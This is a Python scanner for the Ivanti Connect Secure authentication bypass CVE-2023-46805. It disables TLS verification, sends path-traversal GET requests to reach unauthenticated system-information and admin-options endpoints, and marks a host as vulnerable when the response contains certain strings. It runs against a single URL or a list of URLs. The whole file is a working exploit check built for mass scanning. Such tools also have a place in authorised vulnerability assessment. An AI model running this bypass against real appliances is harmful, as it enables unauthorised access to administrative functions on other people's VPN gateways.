import requests
from urllib.parse import urlparse
import argparse
import urllib3
import urllib.request
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def get_url_port(url):
    parsed_url = urlparse(url)
    host = parsed_url.hostname
    port = parsed_url.port
    protocol = parsed_url.scheme
    if not port:
        if parsed_url.scheme == 'http':
            port = 80
        elif parsed_url.scheme == 'https':
            port = 443
    return protocol,host, port


def auth_bypass(target):
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36",
            "Content-Type": "text/xml"
        }
        try:
            response = urllib.request.Request(target, headers=headers, method="GET", unverifiable=True)
            auth_response = urllib.request.urlopen(response)
            status_code = auth_response.getcode()
            response_context = auth_response.read().decode()
            if (status_code == 200 and 'inventory' in response_context) or  (status_code == 200 and 'block_message' in response_context):
                return True
        except Exception as e:
            pass

def check(url):
    protocol, host, port = get_url_port(url)
    url = protocol + "://" + host + ":" + str(port)
    paths = {
        "/api/v1/totp/user-backup-code/../../system/system-information",
        "/api/v1/cav/client/status/../../admin/options"
    }
    for path in paths:
        target = url + path
        if  auth_bypass(target):
            print(f"\033[31mDiscovered:{url}: Ivanti ICS_CVE-2023-46805_authbypass!\033[0m")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)